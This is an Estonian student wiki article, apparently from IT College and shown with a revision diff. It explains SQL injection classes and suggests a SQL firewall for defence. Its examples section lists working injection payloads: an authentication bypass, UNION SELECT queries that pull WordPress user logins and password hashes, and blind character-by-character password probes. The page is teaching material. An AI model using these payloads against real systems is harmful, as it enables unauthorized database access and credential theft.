SQL Injection: Difference between revisions
No edit summary |
No edit summary |
||
Line 49: | Line 49: | ||
== Kaitse SQL Injectioni vastu == | == Kaitse SQL Injectioni vastu == | ||
Üks levinud variant on kasutada SQL rünnete vastu SQL tulemüüri - näiteks GreenSQL. | Üks levinud variant on kasutada SQL rünnete vastu mõnda SQL tulemüüri - näiteks GreenSQL. | ||
GreenSQL - https://wiki.itcollege.ee/index.php/GreenSQL | GreenSQL - https://wiki.itcollege.ee/index.php/GreenSQL | ||
== Kasutatud kirjandus == | |||
http://en.wikipedia.org/wiki/SQL_injection | |||
http://sqlzoo.net/wiki/Main_Page | |||
https://wiki.itcollege.ee/index.php/GreenSQL | |||
[[Category:IT_infrastruktuuri_teenused]] | [[Category:IT_infrastruktuuri_teenused]] |
Revision as of 23:39, 18 May 2014
Autor
Nimi: Marti Reinsaar
Grupp: A21 (2013/2014)
Sissejuhatus
OWASP (Open Web Application Security Project) on Injection tüüpi ründed liigitanud 2013 Top10 seisuga esikohale.
Siin kirjatükis keskendume SQL Injection tüüpi rünnetele ning anname aimu millega on üldse tegemist.
Klassid
Klassikaline SQLI Blind või Inference SQL injection Andmebaasisüsteemi spetsiifiline SQLI Ühendatud SQLI ründed *SQL injection + ebaturvaline autentimine *SQL injection + DDoS ründed *SQL injection + DNS ründed *SQL injection + XSS
Injection tüüpi ründed
SQL, OS, LDAP Injection tüüpi rünnete puhul kasutatakse ära mitmeid teatud nõrkusi applikatsioonides.
Ründaja saab eksitada serverit ning seejärel käivitada mitmeid käske või hankida teavet ilma, et peaks olema autoriseeritud.
Näited rünnetest
'OR''='
' UNION SELECT TABLE_SCHEMA, TABLE_NAME FROM information_schema.TABLES;# --
' UNION SELECT user_login,user_pass FROM wp.wp_users; #
' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%w%') AND ''=' //(Kas eksisteerib täht w)
' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '__w%') AND ''=' //(Kas täht w on paroolis kolmandal kohal)
' OR EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%j%') AND ''=' //(Kas valitud andmebaas sisaldab tähte J)
' OR EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='test' AND TABLE_NAME='one') AND ''=' //(Kas tabel one asub andmebaasis test)
' OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA LIKE '%j%')>1 AND ''=' //(Kas on rohkem kui üks tabel andmebaasis, sialdades tähte J)
Kaitse SQL Injectioni vastu
Üks levinud variant on kasutada SQL rünnete vastu mõnda SQL tulemüüri - näiteks GreenSQL.
GreenSQL - https://wiki.itcollege.ee/index.php/GreenSQL
Kasutatud kirjandus
http://en.wikipedia.org/wiki/SQL_injection http://sqlzoo.net/wiki/Main_Page https://wiki.itcollege.ee/index.php/GreenSQL